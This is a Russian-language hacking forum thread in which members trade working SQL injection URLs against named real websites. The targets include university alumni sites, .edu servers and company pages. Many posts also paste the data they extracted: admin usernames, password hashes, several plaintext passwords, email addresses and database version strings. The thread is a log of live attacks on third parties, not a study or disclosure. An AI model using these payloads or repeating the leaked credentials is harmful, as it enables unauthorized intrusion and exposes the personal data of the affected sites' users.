SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Code:
    http://doska.911.by/full_info.php?sid=-1+union+select+convert(concat(version(),char(58),user(),char(58),database())+using+binary)/*
    :D ;)
     
    1 person likes this.
  2. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.kn.kz/smi.php?id=-1+union+select+1,concat(database(),char(58),user(),char(58),version()),3/*
    Вытянул таблицу с мылом подписчиков:

    Code:
    http://www.kn.kz/smi.php?id=-1+union+select+1,concat(id,char(58),mail),3+from+subscribe+limit+0,1/*
    ------------------------------------------------

    Code:
    http://www.kazakh.ru/talk/mmess.phtml?idt=-1+union+select+1,2,3,4,5,convert(concat(database(),char(58),user(),char(58),version()),char),7,8,9/*
     
    3 people like this.
  3. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    cont

    там есть табличка admin и две записи в ней:
    termit:3c033ccb7c93e00b : derevo
    arka:4722ddc90d46fc5a : 1972
     
    #2223 Серенький, 17 May 2007
    Last edited: 17 May 2007
    1 person likes this.
  4. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    sql

    Наш АвтоВАЗ
    http://www.avtovaz.ru/
    --> mysql 5
    список таблиц на одной странице (всего 74 штуки)

    и еще
    Накопились
    2:Tatyana:63060e7ed635a6061ea4bc2dea5d06c7:admin@solntseva.com
    -- все mysql 4
     
    #2224 Серенький, 17 May 2007
    Last edited: 17 May 2007
    1 person likes this.
  5. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Выпускники!

    Продолжаю тему выпускников!

    Сегодня на очереди клуб выпускников
    Санкт-Петербургского Государственного Университета /
    Ленинградского Государственного Университета им А.А.Жданова.

    www.alumni.spbu.ru


    База:

    Code:
    http://www.alumni.spbu.ru/man.asp?UID=-1+or+1=@@ version--
    version: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
    system_user: alumni
    db_name: ALUMNI

    Таблицы:
    Code:
    http://www.alumni.spbu.ru/man.asp?UID=-1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN('dtproperties','ALUMNI_HUMOR','ALUMNI_PHOTO','kill_kk','ALUMNI_FACULTETS','ALUMNI_GBO OK','ALUMNI_JOB','ALUMNI_LOGINS', 'ALUMNI_NEWS','ALUMNI_PEOPLE',' ALUMNI_PEOPLE_PHOTOS','FILTER_IP','PartnerClicks',' Partners','sysconstraints','syssegments'))--
    Интересная таблица ALUMNI_LOGINS, ее столбцы:
    Code:
    http://www.alumni.spbu.ru/man.asp?UID=-1+or+1=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='ALUMNI_LOGINS'+AND+COLUMN _NAME+NOT+IN('Code','Lname','FulName','Email','Description ','psw'))--
    Вытащил только две записи, похоже админы
    Code:
    http://www.alumni.spbu.ru/man.asp?UID=-1+or+1=(SELECT+TOP+1+cast(Code+as+nvarchar)%2B%27%3A%27%2Bcast(FulName+as+nvarchar)%2B%27%3A%27%2Bcast(psw+as+nvarchar)%2B%27%3A%27%2Bcast(Email+as+nvarchar)+FROM+ALUMNI_LOGINS+WHERE+CODE=1)--
    1: Nikolay Nikolskiy : soldat88 : nik@tepkom.ru
    2: Maxim Kartashev : unknown : perez@tepkom.ru

    Интресная вторая таблица ALUMNI_PEOPLE, тут все пользователи.
    Да, кстати не забыли кто там учился?
    Конечно ВВП! Ну и на сладенькое:

    путин:vvp1975:xxxxxxxx: president@kremlin.ru
    а пароль не скажу, жить хочется;)
     
    #2225 [53x]Shadow, 17 May 2007
    Last edited: 17 May 2007
    3 people like this.
  6. ЛифчиС5СВ

    ЛифчиС5СВ Elder - Старейшина

    Joined:
    9 Mar 2007
    Messages:
    164
    Likes Received:
    141
    Reputations:
    12
    http://www.freecomplex.com
    Code:
    http://www.freecomplex.com/browse.php?cat=-9999+union+select+1,2,concat(user(),0x3a,version()),4
     
    1 person likes this.
  7. scrat

    scrat кодер

    Joined:
    8 Apr 2007
    Messages:
    625
    Likes Received:
    541
    Reputations:
    3
    http://www.bmx.ru/news.php?pg=1&id=278%60 - сказал админам не реагируют....
     
  8. _GaLs_

    _GaLs_ Elder - Старейшина

    Joined:
    21 Apr 2006
    Messages:
    432
    Likes Received:
    251
    Reputations:
    48
    http://www.absoluteaudio.ru/servis.phtml?id=-1+union+select+1,database(),3,user(),version()/*
     
  9. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    http://www.fkska-rostov.ru/
     
  10. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11/*
    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,table_name,4,5,6,7,8,9,10,11+from+information_schema.tables+limit+81,1/*
    Таблиц там 81, нашел более менее интересные:

    users:

    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,column_name,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+limit+0,1/*
    svegak_singers_news:

    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,column_name,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=char(115,118,101,103,97,107,95,115,105,110,103,101,114,115,95,110,101,119,115)+limit+0,1/*
    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,concat(id,char(58),singerid,char(58),newsid),4,5,6,7,8,9,10,11+from+svegak_singers_news+limit+0,1/*
    svegak_subscr_users:


    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,column_name,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=char(115,118,101,103,97,107,95,115,117,98,115,99,114,95,117,115,101,114,115)+limit+0,1/*
    Code:
    http://museon.ru/sbnews/index.php?a=viewnews&news=-1+union+select+1,2,concat(u_id,char(58),confirmcode,char(58),confirmcheck,char(58),email),4,5,6,7,8,9,10,11+from+svegak_subscr_users+limit+0,1/*
     
    3 people like this.
  11. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Выпускники!

    Продолжаем тему выпускников.
    В этот раз Ассоциация выпускников ТПУ(Томск).
    alumni.tpu.ru


    Первый раз сталкиваюсь с БД ORACLE в таких проектах :)

    Короче смог подобрать количество столбцов = 41
    Code:
    http://alumni.tpu.ru/showitem.php?id=688'+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+sys.dual--
    А так же удалось вытащить имя одной таблицы VIPUSKNIKI и одного столбца в ней USER
    Code:
    http://alumni.tpu.ru/showitem.php?id=-12
    Но на этом все :( , то ли отображаемых столбцов нет, толи потому что оракул у мя в первый раз короче дальше хз...

    Млин да и вообще уже скули снится стали, пора завязывать;)
     
  12. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,573
    Likes Received:
    976
    Reputations:
    783
    .edu

    Code:
    http://rpitv.union.rpi.edu/news.php?newsid=-5+union+select+TABLE_NAME,2,3,4+from+INFORMATION_SCHEMA.TABLES+limit+26,1
    http://rpitv.union.rpi.edu/news.php?newsid=-5+union+select+concat_ws(0x3a,username,password,email),2,3,4+from+member+limit+1,1
    clarka3:hiSeGxynSh85I:clarka3@rpi.edu

    =======================================

    Code:
    http://www.geology.ohio-state.edu/news_detail.php?newsId=-1+union+select+1,2,concat_ws(0x3a,user,password),4,5,6+from+mysql.user+limit+1,1
    http://www.geology.ohio-state.edu/news_detail.php?newsId=-1+union+select+1,2,concat_ws(0x3a,user,password),4,5,6+from+mysql.user+limit+2,1
    root:
    michael:1cd219690c8c93cd


    =======================================

    Code:
    http://www.bridgewater.edu/index.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,username,password),8,9,10,11,12,13,14,15,16,17,18,19,20+from+users+limit+1,1
    Matt:Grape$

    =======================================
     
    2 people like this.
  13. VampiRUS

    VampiRUS Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    210
    Likes Received:
    105
    Reputations:
    57
    прикольная скуля, жалко слепая, и таблиц не подобрал(
    base64(6534 union select USER()/*)=NjUzNCB1bmlvbiBzZWxlY3QgVVNFUigpLyo=
     
    4 people like this.
  14. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    www.toyota.com.tw
    Code:
    http://www.toyota.com.tw/vehicle/vehicle_index.asp?CategoryID=216'
     
    1 person likes this.
  15. Серенький

    Joined:
    13 Apr 2007
    Messages:
    113
    Likes Received:
    145
    Reputations:
    83
    sql

    sakha.net Саха(Якутия)
     
    3 people like this.
  16. ForWarD-Hack

    ForWarD-Hack New Member

    Joined:
    22 Jan 2007
    Messages:
    7
    Likes Received:
    3
    Reputations:
    0
    сам не копался но скуль там есть :)
     
    1 person likes this.
  17. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.defa.ru/tv/porto/index.php?idc=213&cc=1&idw=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11,12,13/*
    Code:
    http://www.vkf.ru/index.php?action=prod&type=detail&id=-1+union+select+1,2,3,4,concat(database(),char(58),user(),char(58),version()),6,7,8,9,10,11/*
    Code:
    http://www.skazki.org.ru/pda/view.php?id=-1+union+select+concat(database(),char(58),user(),char(58),version()),2,3,4,5/*
     
    2 people like this.
  18. _Pantera_

    _Pantera_ Характерне козацтво

    Joined:
    6 Oct 2006
    Messages:
    187
    Likes Received:
    356
    Reputations:
    109
    Code:
    http://www.jahireisid.ee/index.php?id=-3+union+select+AES_DECRYPT(AES_ENCRYPT(version(),0x78),0x78)/*
    Code:
    http://www.garmin.ee/index.php?ID=-3+union+select+pageType,pageFile,3,4+from+menu/*
     
    #2238 _Pantera_, 20 May 2007
    Last edited: 20 May 2007
    2 people like this.
  19. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    Code:
    http://inkaluga.ru/econ_mun/review.php?id=-51+union+select+concat(user(),0x3a,version(),0x3a,database())/*
    Code:
    http://www.fin.org.ua/newws.php?i=51002+union+select+1,database(),user(),version(),5+from+users/*
     
    3 people like this.
  20. [53x]Shadow

    [53x]Shadow Leaders of Antichat

    Joined:
    25 Jan 2007
    Messages:
    284
    Likes Received:
    597
    Reputations:
    514
    Oracle;)

    University of Maryland

    www.umd.edu

    Опять на Oracle нарвался, вот мне везет, но на ентот раз получилось хотя бы вычислить принтабильные столбцы

    Code:
    http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,sys.login_user+from+sys.dual--
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.